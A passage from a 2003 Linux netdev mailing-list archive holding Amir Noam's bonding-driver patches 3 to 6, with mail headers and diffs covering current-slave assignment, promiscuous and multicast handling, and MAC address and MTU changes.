ALB/TLB modes. patch7: Consolidate /proc code, add CHANGENAME handler. patch8: Enhance netdev notification handling. Add comment block and bump version. patch9: Add missing free_netdev(). patch10: Fix ipx_hdr compile error. -- Amir From amir.noam@intel.com Thu Sep 11 07:38:49 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Sep 2003 07:38:50 -0700 (PDT) Received: from hermes.hd.intel.com (fmr09.intel.com [192.52.57.35]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8BEcnYa002424 for ; Thu, 11 Sep 2003 07:38:49 -0700 Received: from petasus.hd.intel.com (petasus.hd.intel.com [10.127.45.3]) by hermes.hd.intel.com (8.11.6p2/8.11.6/d: outer.mc,v 1.83 2003/09/05 14:45:27 rfjohns1 Exp $) with ESMTP id h8BEaOQ15043 for ; Thu, 11 Sep 2003 14:36:24 GMT Received: from fmsmsxvs042.fm.intel.com (fmsmsxvs042.fm.intel.com [132.233.42.128]) by petasus.hd.intel.com (8.11.6p2/8.11.6/d: inner.mc,v 1.35 2003/05/22 21:18:01 rfjohns1 Exp $) with SMTP id h8BEXSI16655 for ; Thu, 11 Sep 2003 14:33:28 GMT Received: from jrslxjul4.npdj.intel.com ([10.12.254.188]) by fmsmsxvs042.fm.intel.com (NAVGW 2.5.2.11) with SMTP id M2003091107384103288 ; Thu, 11 Sep 2003 07:38:41 -0700 Content-Type: text/plain; charset="us-ascii" From: Amir Noam Subject: [PATCH 3/10] [bonding 2.6] fix assign_current_slave Date: Thu, 11 Sep 2003 17:38:40 +0300 User-Agent: KMail/1.4.3 MIME-Version: 1.0 Content-Transfer-Encoding: 8bit To: bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com Message-Id: <200309111738.40325.amir.noam@intel.com> X-archive-position: 5762 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: amir.noam@intel.com Precedence: bulk X-list: netdev diff -Nuarp a/drivers/net/bonding/bond_main.c b/drivers/net/bonding/bond_main.c --- a/drivers/net/bonding/bond_main.c Thu Sep 11 16:48:17 2003 +++ b/drivers/net/bonding/bond_main.c Thu Sep 11 16:48:18 2003 @@ -590,19 +590,6 @@ static void change_active_interface(stru static void reselect_active_interface(struct bonding *bond); static struct slave *find_best_interface(struct bonding *bond); -/* Caller must hold bond->ptrlock for write */ -static inline struct slave* -bond_assign_current_slave(struct bonding *bond,struct slave *newslave) -{ - if ((bond_mode == BOND_MODE_TLB) || - (bond_mode == BOND_MODE_ALB)) { - bond_alb_assign_current_slave(bond, newslave); - } else { - bond->current_slave = newslave; - } - - return bond->current_slave; -} /* #define BONDING_DEBUG 1 */ @@ -1640,8 +1627,13 @@ static int bond_enslave(struct net_devic #endif /* always active in trunk mode */ new_slave->state = BOND_STATE_ACTIVE; + + /* In trunking mode there is little meaning to current_slave + * anyway (it holds no special properties of the bond device), + * so we can change it without calling change_active_interface() + */ if (bond->current_slave == NULL) - bond_assign_current_slave(bond, new_slave); + bond->current_slave = new_slave; } write_unlock_bh(&bond->lock); @@ -1894,7 +1886,12 @@ static void change_active_interface(stru bond_mc_update(bond, new, old); } - bond_assign_current_slave(bond, new); + if ((bond_mode == BOND_MODE_TLB) || + (bond_mode == BOND_MODE_ALB)) { + bond_alb_assign_current_slave(bond, new); + } else { + bond->current_slave = new; + } } /** @@ -2103,7 +2100,7 @@ static int bond_release_all(struct net_d } old_current = bond->current_slave; - bond_assign_current_slave(bond, NULL); + change_active_interface(bond, NULL); bond->current_arp_slave = NULL; bond->primary_slave = NULL; @@ -3128,7 +3125,7 @@ static int bond_xmit_roundrobin(struct s dev_queue_xmit(skb); write_lock(&bond->ptrlock); - bond_assign_current_slave(bond, slave->next); + bond->current_slave = slave->next; write_unlock(&bond->ptrlock); read_unlock(&bond->lock); From amir.noam@intel.com Thu Sep 11 07:40:19 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Sep 2003 07:40:19 -0700 (PDT) Received: from hermes.hd.intel.com (fmr09.intel.com [192.52.57.35]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8BEeIYa002787 for ; Thu, 11 Sep 2003 07:40:18 -0700 Received: from petasus.hd.intel.com (petasus.hd.intel.com [10.127.45.3]) by hermes.hd.intel.com (8.11.6p2/8.11.6/d: outer.mc,v 1.83 2003/09/05 14:45:27 rfjohns1 Exp $) with ESMTP id h8BEbrQ15847 for ; Thu, 11 Sep 2003 14:37:53 GMT Received: from fmsmsxvs042.fm.intel.com (fmsmsxvs042.fm.intel.com [132.233.42.128]) by petasus.hd.intel.com (8.11.6p2/8.11.6/d: inner.mc,v 1.35 2003/05/22 21:18:01 rfjohns1 Exp $) with SMTP id h8BEYwI17440 for ; Thu, 11 Sep 2003 14:34:58 GMT Received: from jrslxjul4.npdj.intel.com ([10.12.254.188]) by fmsmsxvs042.fm.intel.com (NAVGW 2.5.2.11) with SMTP id M2003091107401001657 ; Thu, 11 Sep 2003 07:40:11 -0700 Content-Type: text/plain; charset="us-ascii" From: Amir Noam Subject: [PATCH 4/10] [bonding 2.6] Decouple promiscuous handling from multicast mode setting Date: Thu, 11 Sep 2003 17:40:09 +0300 User-Agent: KMail/1.4.3 MIME-Version: 1.0 Content-Transfer-Encoding: 8bit To: bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com Message-Id: <200309111740.09480.amir.noam@intel.com> X-archive-position: 5763 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: amir.noam@intel.com Precedence: bulk X-list: netdev diff -Nuarp a/drivers/net/bonding/bond_main.c b/drivers/net/bonding/bond_main.c --- a/drivers/net/bonding/bond_main.c Thu Sep 11 16:48:23 2003 +++ b/drivers/net/bonding/bond_main.c Thu Sep 11 16:48:24 2003 @@ -1151,23 +1151,22 @@ static inline int dmi_same(struct dev_mc } /* - * Push the promiscuity flag down to all slaves + * Push the promiscuity flag down to appropriate slaves */ static void bond_set_promiscuity(bonding_t *bond, int inc) { slave_t *slave; - switch (multicast_mode) { - case BOND_MULTICAST_ACTIVE : - /* write lock already acquired */ - if (bond->current_slave != NULL) + + if (USES_PRIMARY(bond_mode)) { + if (bond->current_slave) { dev_set_promiscuity(bond->current_slave->dev, inc); - break; - case BOND_MULTICAST_ALL : - for (slave = bond->prev; slave != (slave_t*)bond; slave = slave->prev) + } + + } else { + for (slave = bond->prev; slave != (slave_t*)bond; + slave = slave->prev) { dev_set_promiscuity(slave->dev, inc); - break; - case BOND_MULTICAST_DISABLED : - break; + } } } @@ -1213,20 +1212,23 @@ static void set_multicast_list(struct ne bonding_t *bond = master->priv; struct dev_mc_list *dmi; - if (multicast_mode == BOND_MULTICAST_DISABLED) - return; - /* - * Lock the private data for the master - */ write_lock_bh(&bond->lock); - /* set promiscuity flag to slaves */ + /* + * Do promisc before checking multicast_mode + */ if ( (master->flags & IFF_PROMISC) && !(bond->flags & IFF_PROMISC) ) bond_set_promiscuity(bond, 1); if ( !(master->flags & IFF_PROMISC) && (bond->flags & IFF_PROMISC) ) bond_set_promiscuity(bond, -1); + if (multicast_mode == BOND_MULTICAST_DISABLED) { + bond->flags = master->flags; + write_unlock_bh(&bond->lock); + return; + } + /* set allmulti flag to slaves */ if ( (master->flags & IFF_ALLMULTI) && !(bond->flags & IFF_ALLMULTI) ) bond_set_allmulti(bond, 1); @@ -1258,32 +1260,40 @@ static void set_multicast_list(struct ne /* * Update the mc list and multicast-related flags for the new and - * old active slaves (if any) according to the multicast mode + * old active slaves (if any) according to the multicast mode, and + * promiscuous flags unconditionally. */ static void bond_mc_update(bonding_t *bond, slave_t *new, slave_t *old) { struct dev_mc_list *dmi; - switch(multicast_mode) { - case BOND_MULTICAST_ACTIVE : + if (USES_PRIMARY(bond_mode)) { if (bond->device->flags & IFF_PROMISC) { - if (old != NULL && new != old) + if (old) dev_set_promiscuity(old->dev, -1); - dev_set_promiscuity(new->dev, 1); + if (new) + dev_set_promiscuity(new->dev, 1); } + } + + switch(multicast_mode) { + case BOND_MULTICAST_ACTIVE : if (bond->device->flags & IFF_ALLMULTI) { - if (old != NULL && new != old) + if (old) dev_set_allmulti(old->dev, -1); - dev_set_allmulti(new->dev, 1); + if (new) + dev_set_allmulti(new->dev, 1); } /* first remove all mc addresses from old slave if any, and _then_ add them to new active slave */ - if (old != NULL && new != old) { + if (old) { for (dmi = bond->device->mc_list; dmi != NULL; dmi = dmi->next) dev_mc_delete(old->dev, dmi->dmi_addr, dmi->dmi_addrlen, 0); } - for (dmi = bond->device->mc_list; dmi != NULL; dmi = dmi->next) - dev_mc_add(new->dev, dmi->dmi_addr, dmi->dmi_addrlen, 0); + if (new) { + for (dmi = bond->device->mc_list; dmi != NULL; dmi = dmi->next) + dev_mc_add(new->dev, dmi->dmi_addr, dmi->dmi_addrlen, 0); + } break; case BOND_MULTICAST_ALL : /* nothing to do: mc list is already up-to-date on all slaves */ @@ -1445,11 +1455,19 @@ static int bond_enslave(struct net_devic } } - if (multicast_mode == BOND_MULTICAST_ALL) { - /* set promiscuity level to new slave */ - if (master_dev->flags & IFF_PROMISC) + /* set promiscuity level to new slave */ + if (master_dev->flags & IFF_PROMISC) { + /* If the mode USES_PRIMARY, then the new slave gets the + * master's promisc (and mc) settings only if it becomes the + * current_slave, and that is taken care of later when calling + * bond_change_active() + */ + if (!USES_PRIMARY(bond_mode)) { dev_set_promiscuity(slave_dev, 1); + } + } + if (multicast_mode == BOND_MULTICAST_ALL) { /* set allmulti level to new slave */ if (master_dev->flags & IFF_ALLMULTI) dev_set_allmulti(slave_dev, 1); @@ -2024,16 +2042,22 @@ static int bond_release(struct net_devic return -EINVAL; } + /* unset promiscuity level from slave */ + if (master->flags & IFF_PROMISC) { + /* If the mode USES_PRIMARY, then we should only remove its + * promisc settings if it was the current_slave, but that was + * already taken care of above when we detached the slave + */ + if (!USES_PRIMARY(bond_mode)) { + dev_set_promiscuity(slave, -1); + } + } + /* undo settings and restore original values */ - if (multicast_mode == BOND_MULTICAST_ALL) { /* flush master's mc_list from slave */ bond_mc_list_flush (slave, master); - /* unset promiscuity level from slave */ - if (master->flags & IFF_PROMISC) - dev_set_promiscuity(slave, -1); - /* unset allmulti level from slave */ if (master->flags & IFF_ALLMULTI) dev_set_allmulti(slave, -1); @@ -2129,17 +2153,17 @@ static int bond_release_all(struct net_d */ write_unlock_bh(&bond->lock); - if (multicast_mode == BOND_MULTICAST_ALL - || (multicast_mode == BOND_MULTICAST_ACTIVE - && old_current == our_slave)) { + /* unset promiscuity level from slave */ + if (master->flags & IFF_PROMISC) { + if (!USES_PRIMARY(bond_mode)) { + dev_set_promiscuity(slave_dev, -1); + } + } + if (multicast_mode == BOND_MULTICAST_ALL) { /* flush master's mc_list from slave */ bond_mc_list_flush (slave_dev, master); - /* unset promiscuity level from slave */ - if (master->flags & IFF_PROMISC) - dev_set_promiscuity(slave_dev, -1); - /* unset allmulti level from slave */ if (master->flags & IFF_ALLMULTI) dev_set_allmulti(slave_dev, -1); @@ -3634,6 +3658,12 @@ static int __init bonding_init(void) mode == NULL ? "NULL" : mode); return -EINVAL; } + } + + if (USES_PRIMARY(bond_mode)) { + multicast_mode = BOND_MULTICAST_ACTIVE; + } else { + multicast_mode = BOND_MULTICAST_ALL; } if (multicast) { From amir.noam@intel.com Thu Sep 11 07:41:07 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Sep 2003 07:41:08 -0700 (PDT) Received: from hermes.hd.intel.com (fmr09.intel.com [192.52.57.35]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8BEf6Ya003108 for ; Thu, 11 Sep 2003 07:41:07 -0700 Received: from petasus.hd.intel.com (petasus.hd.intel.com [10.127.45.3]) by hermes.hd.intel.com (8.11.6p2/8.11.6/d: outer.mc,v 1.83 2003/09/05 14:45:27 rfjohns1 Exp $) with ESMTP id h8BEcgQ16330 for ; Thu, 11 Sep 2003 14:38:42 GMT Received: from fmsmsxvs042.fm.intel.com (fmsmsxvs042.fm.intel.com [132.233.42.128]) by petasus.hd.intel.com (8.11.6p2/8.11.6/d: inner.mc,v 1.35 2003/05/22 21:18:01 rfjohns1 Exp $) with SMTP id h8BEZkI17975 for ; Thu, 11 Sep 2003 14:35:46 GMT Received: from jrslxjul4.npdj.intel.com ([10.12.254.188]) by fmsmsxvs042.fm.intel.com (NAVGW 2.5.2.11) with SMTP id M2003091107405803840 ; Thu, 11 Sep 2003 07:40:59 -0700 Content-Type: text/plain; charset="us-ascii" From: Amir Noam Subject: [PATCH 5/10] [bonding 2.6] Add support for changing HW address and MTU Date: Thu, 11 Sep 2003 17:40:58 +0300 User-Agent: KMail/1.4.3 MIME-Version: 1.0 Content-Transfer-Encoding: 8bit To: bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com Message-Id: <200309111740.58110.amir.noam@intel.com> X-archive-position: 5764 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: amir.noam@intel.com Precedence: bulk X-list: netdev diff -Nuarp a/drivers/net/bonding/bond_main.c b/drivers/net/bonding/bond_main.c --- a/drivers/net/bonding/bond_main.c Thu Sep 11 16:48:26 2003 +++ b/drivers/net/bonding/bond_main.c Thu Sep 11 16:48:27 2003 @@ -592,6 +592,11 @@ static struct slave *find_best_interface /* #define BONDING_DEBUG 1 */ +#ifdef BONDING_DEBUG +#define dprintk(x...) printk(x...) +#else /* BONDING_DEBUG */ +#define dprintk(x...) do {} while (0) +#endif /* BONDING_DEBUG */ /* several macros */ @@ -3021,10 +3026,6 @@ static int bond_ioctl(struct net_device case SIOCBONDRELEASE: ret = bond_release(master_dev, slave_dev); break; - case BOND_SETHWADDR_OLD: - case SIOCBONDSETHWADDR: - ret = bond_sethwaddr(master_dev, slave_dev); - break; case BOND_CHANGE_ACTIVE_OLD: case SIOCBONDCHANGEACTIVE: if (USES_PRIMARY(bond_mode)) { @@ -3464,6 +3465,132 @@ static int bond_read_proc(char *buf, cha } #endif /* CONFIG_PROC_FS */ + +/* + * Change HW address + * + * Note that many devices must be down to change the HW address, and + * downing the master releases all slaves. We can make bonds full of + * bonding devices to test this, however. + */ +static inline int +bond_set_mac_address(struct net_device *dev, void *addr) +{ + struct bonding *bond = dev->priv; + struct sockaddr *sa = addr, tmp_sa; + struct slave *slave; + int error; + + dprintk(KERN_INFO "bond_set_mac_address %p %s\n", dev, + dev->name); + + if (!is_valid_ether_addr(sa->sa_data)) { + return -EADDRNOTAVAIL; + } + + for (slave = bond->prev; slave != (struct slave *)bond; + slave = slave->prev) { + dprintk(KERN_INFO "bond_set_mac: slave %p %s\n", slave, + slave->dev->name); + if (slave->dev->set_mac_address == NULL) { + error = -EOPNOTSUPP; + dprintk(KERN_INFO "bond_set_mac EOPNOTSUPP %s\n", + slave->dev->name); + goto unwind; + } + + error = slave->dev->set_mac_address(slave->dev, addr); + if (error) { + /* TODO: consider downing the slave + * and retry ? + * User should expect communications + * breakage anyway until ARP finish + * updating, so... + */ + dprintk(KERN_INFO "bond_set_mac err %d %s\n", + error, slave->dev->name); + goto unwind; + } + } + + /* success */ + memcpy(dev->dev_addr, sa->sa_data, dev->addr_len); + return 0; + +unwind: + memcpy(tmp_sa.sa_data, dev->dev_addr, dev->addr_len); + tmp_sa.sa_family = dev->type; + + for (slave = slave->next; slave != bond->next; + slave = slave->next) { + int tmp_error; + + tmp_error = slave->dev->set_mac_address(slave->dev, &tmp_sa); + if (tmp_error) { + dprintk(KERN_INFO "bond_set_mac_address: " + "unwind err %d dev %s\n", + tmp_error, slave->dev->name); + } + } + + return error; +} + +/* + * Change the MTU of all of a master's slaves to match the master + */ +static inline int +bond_change_mtu(struct net_device *dev, int newmtu) +{ + bonding_t *bond = dev->priv; + slave_t *slave; + int error; + + dprintk(KERN_INFO "CM: b %p nm %d\n", bond, newmtu); + for (slave = bond->prev; slave != (slave_t *)bond; + slave = slave->prev) { + dprintk(KERN_INFO "CM: s %p s->p %p c_m %p\n", slave, + slave->prev, slave->dev->change_mtu); + if (slave->dev->change_mtu) { + error = slave->dev->change_mtu(slave->dev, newmtu); + } else { + slave->dev->mtu = newmtu; + error = 0; + } + + if (error) { + /* If we failed to set the slave's mtu to the new value + * we must abort the operation even in ACTIVE_BACKUP + * mode, because if we allow the backup slaves to have + * different mtu values than the active slave we'll + * need to change their mtu when doing a failover. That + * means changing their mtu from timer context, which + * is probably not a good idea. + */ + dprintk(KERN_INFO "bond_change_mtu err %d %s\n", + error, slave->dev->name); + goto unwind; + } + } + + dev->mtu = newmtu; + return 0; + + +unwind: + for (slave = slave->next; slave != bond->next; + slave = slave->next) { + + if (slave->dev->change_mtu) { + slave->dev->change_mtu(slave->dev, dev->mtu); + } else { + slave->dev->mtu = dev->mtu; + } + } + + return error; +} + static int bond_event(struct notifier_block *this, unsigned long event, void *ptr) { @@ -3556,7 +3683,8 @@ static int __init bond_init(struct net_d dev->stop = bond_close; dev->set_multicast_list = set_multicast_list; dev->do_ioctl = bond_ioctl; - + dev->change_mtu = bond_change_mtu; + dev->set_mac_address = bond_set_mac_address; dev->tx_queue_len = 0; dev->flags |= IFF_MASTER|IFF_MULTICAST; #ifdef CONFIG_NET_FASTROUTE From amir.noam@intel.com Thu Sep 11 07:41:46 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Sep 2003 07:41:46 -0700 (PDT) Received: from hermes.hd.intel.com (fmr09.intel.com [192.52.57.35]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8BEfjYa003369 for ; Thu, 11 Sep 2003 07:41:45 -0700 Received: from petasus.hd.intel.com (petasus.hd.intel.com [10.127.45.3]) by hermes.hd.intel.com (8.11.6p2/8.11.6/d: outer.mc,v 1.83 2003/09/05 14:45:27 rfjohns1 Exp $) with ESMTP id h8BEdKQ16506 for ; Thu, 11 Sep 2003 14:39:20 GMT Received: from fmsmsxvs042.fm.intel.com (fmsmsxvs042.fm.intel.com [132.233.42.128]) by petasus.hd.intel.com (8.11.6p2/8.11.6/d: inner.mc,v 1.35 2003/05/22 21:18:01 rfjohns1 Exp $) with SMTP id h8BEaOI18177 for ; Thu, 11 Sep 2003 14:36:24 GMT Received: from jrslxjul4.npdj.intel.com ([10.12.254.188]) by fmsmsxvs042.fm.intel.com (NAVGW 2.5.2.11) with SMTP id M2003091107413624858 ; Thu, 11 Sep 2003 07:41:37 -0700 Content-Type: text/plain; charset="us-ascii" From: Amir Noam Subject: [PATCH 6/10] [bonding 2.6] Add support for changing HW address in ALB/TLB modes Date: Thu, 11 Sep 2003 17:41:35 +0300 User-Agent: KMail/1.4.3 MIME-Version: 1.0 Content-Transfer-Encoding: 8bit To: bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com Message-Id: <200309111741.35299.amir.noam@intel.com> X-archive-position: 5765 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: amir.noam@intel.com Precedence: bulk X-list: netdev diff -Nuarp a/drivers/net/bonding/bond_alb.c b/drivers/net/bonding/bond_alb.c --- a/drivers/net/bonding/bond_alb.c Thu Sep 11 16:48:29 2003 +++ b/drivers/net/bonding/bond_alb.c Thu Sep 11 16:48:30 2003 @@ -24,10 +24,15 @@ * 2003/06/25 - Shmulik Hen * - Fixed signed/unsigned calculation errors that caused load sharing * to collapse to one slave under very heavy UDP Tx stress. + * + * 2003/08/06 - Amir Noam + * - Add support for setting bond's MAC address with special + * handling required for ALB/TLB. */ #include #include +#include #include #include #include @@ -943,10 +948,11 @@ alb_send_learning_packets(struct slave * } /* hw is a boolean parameter that determines whether we should try and - * set the hw address of the hw as well as the hw address of the net_device + * set the hw address of the device as well as the hw address of the + * net_device */ static int -alb_set_mac_addr(struct slave *slave, u8 addr[], int hw) +alb_set_slave_mac_addr(struct slave *slave, u8 addr[], int hw) { struct net_device *dev = NULL; struct sockaddr s_addr; @@ -954,16 +960,16 @@ alb_set_mac_addr(struct slave *slave, u8 dev = slave->dev; if (!hw) { - memcpy(dev->dev_addr, addr, ETH_ALEN); + memcpy(dev->dev_addr, addr, dev->addr_len); return 0; } /* for rlb each slave must have a unique hw mac addresses so that */ /* each slave will receive packets destined to a different mac */ - memcpy(s_addr.sa_data, addr, ETH_ALEN); + memcpy(s_addr.sa_data, addr, dev->addr_len); s_addr.sa_family = dev->type; if (dev->set_mac_address(dev, &s_addr)) { - printk(KERN_DEBUG "bonding: Error: alb_set_mac_addr:" + printk(KERN_DEBUG "bonding: Error: alb_set_slave_mac_addr:" " dev->set_mac_address of dev %s failed!" " ALB mode requires that the base driver" " support setting the hw address also when" @@ -987,8 +993,8 @@ alb_swap_mac_addr(struct bonding *bond, slaves_state_differ = (SLAVE_IS_OK(slave1) != SLAVE_IS_OK(slave2)); memcpy(tmp_mac_addr, slave1->dev->dev_addr, ETH_ALEN); - alb_set_mac_addr(slave1, slave2->dev->dev_addr, bond->alb_info.rlb_enabled); - alb_set_mac_addr(slave2, tmp_mac_addr, bond->alb_info.rlb_enabled); + alb_set_slave_mac_addr(slave1, slave2->dev->dev_addr, bond->alb_info.rlb_enabled); + alb_set_slave_mac_addr(slave2, tmp_mac_addr, bond->alb_info.rlb_enabled); /* fasten the change in the switch */ if (SLAVE_IS_OK(slave1)) { @@ -1153,8 +1159,8 @@ alb_handle_addr_collision_on_attach(stru } if (tmp_slave1) { - alb_set_mac_addr(slave, tmp_slave1->perm_hwaddr, - bond->alb_info.rlb_enabled); + alb_set_slave_mac_addr(slave, tmp_slave1->perm_hwaddr, + bond->alb_info.rlb_enabled); printk(KERN_WARNING "bonding: Warning: the hw address " "of slave %s is in use by the bond; " @@ -1172,6 +1178,67 @@ alb_handle_addr_collision_on_attach(stru return 0; } +/** + * alb_set_mac_address + * @bond: + * @addr: + * + * In TLB mode all slaves are configured to the bond's hw address, but set + * their dev_addr field to different addresses (based on their permanent hw + * addresses). + * + * For each slave, this function sets the interface to the new address and then + * changes its dev_addr field to its previous value. + * + * Unwinding assumes bond's mac address has not yet changed. + */ +static inline int +alb_set_mac_address(struct bonding *bond, void *addr) +{ + struct sockaddr sa; + struct slave *slave; + char tmp_addr[ETH_ALEN]; + int error; + + if (bond->alb_info.rlb_enabled) { + return 0; + } + + slave = bond_get_first_slave(bond); + for (; slave; slave = bond_get_next_slave(bond, slave)) { + if (slave->dev->set_mac_address == NULL) { + error = -EOPNOTSUPP; + goto unwind; + } + + /* save net_device's current hw address */ + memcpy(tmp_addr, slave->dev->dev_addr, ETH_ALEN); + + error = slave->dev->set_mac_address(slave->dev, addr); + + /* restore net_device's hw address */ + memcpy(slave->dev->dev_addr, tmp_addr, ETH_ALEN); + + if (error) { + goto unwind; + } + } + + return 0; + +unwind: + memcpy(sa.sa_data, bond->device->dev_addr, bond->device->addr_len); + sa.sa_family = bond->device->type; + slave = bond_get_first_slave(bond); + for (; slave; slave = bond_get_next_slave(bond, slave)) { + memcpy(tmp_addr, slave->dev->dev_addr, ETH_ALEN); + slave->dev->set_mac_address(slave->dev, &sa); + memcpy(slave->dev->dev_addr, tmp_addr, ETH_ALEN); + } + + return error; +} + /************************ exported alb funcions ************************/ int @@ -1444,8 +1511,8 @@ bond_alb_init_slave(struct bonding *bond { int err = 0; - err = alb_set_mac_addr(slave, slave->perm_hwaddr, - bond->alb_info.rlb_enabled); + err = alb_set_slave_mac_addr(slave, slave->perm_hwaddr, + bond->alb_info.rlb_enabled); if (err) { return err; } @@ -1569,10 +1636,61 @@ bond_alb_assign_current_slave(struct bon alb_swap_mac_addr(bond, swap_slave, new_slave); } else { /* set the new_slave to the bond mac address */ - alb_set_mac_addr(new_slave, bond->device->dev_addr, - bond->alb_info.rlb_enabled); + alb_set_slave_mac_addr(new_slave, bond->device->dev_addr, + bond->alb_info.rlb_enabled); /* fasten bond mac on new current slave */ alb_send_learning_packets(new_slave, bond->device->dev_addr); } +} + +int +bond_alb_set_mac_address(struct net_device *dev, void *addr) +{ + struct bonding *bond = dev->priv; + struct sockaddr *sa = addr; + struct slave *swap_slave = NULL; + int error = 0; + + if (!is_valid_ether_addr(sa->sa_data)) { + return -EADDRNOTAVAIL; + } + + error = alb_set_mac_address(bond, addr); + if (error) { + return error; + } + + memcpy(dev->dev_addr, sa->sa_data, dev->addr_len); + + /* If there is no current_slave there is nothing else to do. + * Otherwise we'll need to pass the new address to it and handle + * duplications. + */ + if (bond->current_slave == NULL) { + return 0; + } + + swap_slave = bond_get_first_slave(bond); + while (swap_slave) { + if (!memcmp(swap_slave->dev->dev_addr, dev->dev_addr, ETH_ALEN)) { + break; + } + swap_slave = bond_get_next_slave(bond, swap_slave); + } + + if (swap_slave) { + alb_swap_mac_addr(bond, swap_slave, bond->current_slave); + } else { + alb_set_slave_mac_addr(bond->current_slave, dev->dev_addr, + bond->alb_info.rlb_enabled); + + alb_send_learning_packets(bond->current_slave, dev->dev_addr); + if (bond->alb_info.rlb_enabled) { + /* inform clients mac address has changed */ + rlb_req_update_slave_clients(bond, bond->current_slave); + } + } + + return 0; } diff -Nuarp a/drivers/net/bonding/bond_alb.h b/drivers/net/bonding/bond_alb.h --- a/drivers/net/bonding/bond_alb.h Thu Sep 11 16:48:29 2003 +++ b/drivers/net/bonding/bond_alb.h Thu Sep 11 16:48:30 2003 @@ -17,6 +17,13 @@ * * The full GNU General Public License is included in this distribution in the * file called LICENSE. + * + * + * Changes: + * + * 2003/08/06 - Amir Noam + * - Add support for setting bond's MAC address with special + * handling required for ALB/TLB. */ #ifndef __BOND_ALB_H__ @@ -122,6 +129,7 @@ void bond_alb_handle_link_change(struct void bond_alb_assign_current_slave(struct bonding *bond, struct slave *new_slave); int bond_alb_xmit(struct sk_buff *skb, struct net_device *dev); void bond_alb_monitor(struct bonding *bond); +int bond_alb_set_mac_address(struct net_device *dev, void *addr); #endif /* __BOND_ALB_H__ */ diff -Nuarp a/drivers/net/bonding/bond_main.c b/drivers/net/bonding/bond_main.c --- a/drivers/net/bonding/bond_main.c Thu Sep 11 16:48:29 2003 +++ b/drivers/net/bonding/bond_main.c Thu Sep 11 16:48:30 2003 @@ -1414,7 +1414,7 @@ static int bond_enslave(struct net_devic * The application already set the master's * mac address to that of the first slave */ - memcpy(addr.sa_data, master_dev->dev_addr, ETH_ALEN); + memcpy(addr.sa_data, master_dev->dev_addr, master_dev->addr_len); addr.sa_family = slave_dev->type; err = slave_dev->set_mac_address(slave_dev, &addr); if (err) { @@ -1985,12 +1985,12 @@ static int bond_release(struct net_devic "of %s to a different address " "to avoid conflicts.\n", slave->name, - slave->dev_addr[0], - slave->dev_addr[1], - slave->dev_addr[2], - slave->dev_addr[3], - slave->dev_addr[4], - slave->dev_addr[5], + our_slave->perm_hwaddr[0], + our_slave->perm_hwaddr[1], + our_slave->perm_hwaddr[2], + our_slave->perm_hwaddr[3], + our_slave->perm_hwaddr[4], + our_slave->perm_hwaddr[5], bond->device->name, slave->name); } @@ -3647,12 +3647,15 @@ static int __init bond_init(struct net_d rwlock_init(&bond->lock); rwlock_init(&bond->ptrlock); + /* Initialize pointers */ bond->next = bond->prev = (slave_t *)bond; bond->current_slave = NULL; bond->current_arp_slave = NULL; bond->device = dev; /* Initialize the device structure. */ + dev->set_mac_address = bond_set_mac_address; + switch (bond_mode) { case BOND_MODE_ACTIVEBACKUP: dev->hard_start_xmit = bond_xmit_activebackup; @@ -3672,6 +3675,7 @@ static int __init bond_init(struct net_d case BOND_MODE_TLB: case BOND_MODE_ALB: dev->hard_start_xmit = bond_alb_xmit; + dev->set_mac_address = bond_alb_set_mac_address; break; default: printk(KERN_ERR "Unknown bonding mode %d\n", bond_mode); @@ -3684,7 +3688,6 @@ static int __init bond_init(struct net_d dev->set_multicast_list = set_multicast_list; dev->do_ioctl = bond_ioctl; dev->change_mtu = bond_change_mtu; - dev->set_mac_address = bond_set_mac_address; dev->tx_queue_len = 0; dev->flags |= IFF_MASTER|IFF_MULTICAST; #ifdef CONFIG_NET_FASTROUTE From amir.noam@intel.com Thu Sep 11 07:41:59 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Sep 2003 07:41:59 -0700 (PDT) Received: from hermes.hd.intel.com (fmr09.intel.com [192.52.57.35]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8BEfwYa003480 for ; Thu, 11 Sep 2003 07:41:58 -0700 Received: from petasus.hd.intel.com (petasus.hd.intel.com [10.127.45.3]) by hermes.hd.intel.com (8.11.6p2/8.11.6/d: outer.mc,v 1.83 2003/09/05 14:45:27 rfjohns1 Exp $) with ESMTP id h8BEdXQ16628 for ; Thu, 11 Sep 2003 14:39:33 GMT Received: from fmsmsxvs042.fm.intel.com (fmsmsxvs042.fm.intel.com [132.233.42.128]) by petasus.hd.intel.com (8.11.6p2/8.11.6/d: inner.mc,v 1.35 2003/05/22 21:18:01 rfjohns1 Exp $) with SMTP id h8BEabI18311 for ; Thu, 11 Sep 2003 14:36:38 GMT Received: from jrslxjul4.npdj.intel.com ([10.12.254.188]) by fmsmsxvs042.fm.intel.com (NAVGW 2.5.2.11) with SMTP id M2003091107414919860 ; Thu, 11 Sep 2003 07:41:50 -0700 Content-Type: text/plain; charset="us-ascii" From: Amir Noam Subject: [PATCH 7/10] [bonding 2.6] Consolidate /proc code, add CHANGENAME handler Date: Thu, 11 Sep 2003 17:41:49 +0300 User-Agent: KMail/1.4.3 MIME-Version: 1.0 Content-Transfer-Encoding: 8bit To: bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com Message-Id: <200309111741.49076.amir.noam@intel.com> X-archive-position: 5766 X-ecartis-version: Ecartis v1.0.0 Sender: 